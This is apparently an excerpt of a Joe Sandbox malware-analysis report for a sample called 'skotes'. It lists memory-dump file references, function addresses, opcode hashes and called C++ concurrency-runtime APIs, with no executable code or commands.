Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 5b36a6fc52df2fd04793d8a4b4a96b47fdbead8f9986c6ecc0373038cc1d80dd
Instruction ID: cccc86af9a0601ca80e30ed2cc8346834db02e8e8c6fb31e447ed44882fd7d45
Opcode Fuzzy Hash: 5b36a6fc52df2fd04793d8a4b4a96b47fdbead8f9986c6ecc0373038cc1d80dd
Instruction Fuzzy Hash: C9515E31A002159BDF64DF50C895BAEB777AF44310F1540A9E9066B3D6CB72AE06CBE1

Function 0062CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0062CBAA

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 812e6ed86511759d53bc9233a19be847c8b9423652e4b9cfd003a00d04778ea9
Instruction ID: a58a304ac89ffc0189f144a0a679190723d982801525770bbb377e16e05e00c9
Opcode Fuzzy Hash: 812e6ed86511759d53bc9233a19be847c8b9423652e4b9cfd003a00d04778ea9
Instruction Fuzzy Hash: 5BB09232A13C3047DB952B14BC1859E771AAF80E2230A21A6D802A7234CA905E824FD5

Function 0062DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2429cd44c073cf11e27c4883549aa84438e286b523b57a22663d89caa874d4ea
Instruction ID: 9611d191afdd9f6ba33920860ab0948cafa8d1db0cdc2b6ef4cfa80e4412eb4e
Opcode Fuzzy Hash: 2429cd44c073cf11e27c4883549aa84438e286b523b57a22663d89caa874d4ea
Instruction Fuzzy Hash: 9C5190B2905A16CBDB19CF58E8957ADB7F2FB58304F24856AD40AEB350D374A980CF50

Function 0062F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0062F2BB

Strings

pEvents, xrefs: 0062F2B3

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 7fc1a4cdc92c0cea99fc5fe65fafc958a6d49da1e754ff6858ca939d89e8b610
Instruction ID: 50afa3b3b05a26c0084105c4b51d6fc9c63f345d4fc464ff8c33acbe7b6f47cd
Opcode Fuzzy Hash: 7fc1a4cdc92c0cea99fc5fe65fafc958a6d49da1e754ff6858ca939d89e8b610
Instruction Fuzzy Hash: D5818B31D01A29CBCF24DBE4E985BEEB7B6AF15310F144439E401A7382DB75AA45CFA1

Function 006426D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006426E3

Part of subcall function 006424E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00642504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00642704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00642711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0064275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006427E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006427F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00642846

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: b7a4ee63b569ed2951d9a535e87927b314ace9305a2d9eb1f09c24f1f381b75a
Instruction ID: eb536bab0e343a50e409e5d87828ea5de23bae24cf1badc977c20da5d7cbdc09
Opcode Fuzzy Hash: b7a4ee63b569ed2951d9a535e87927b314ace9305a2d9eb1f09c24f1f381b75a
Instruction Fuzzy Hash: 5E817B3490024AABDF169F54C9A1BFE7BB3AF45308F640098FC416B352C7728D5ADBA1

Function 00642970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00642982

Part of subcall function 006424E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00642504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006429A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006429B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006429FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00642AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00642AD8

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
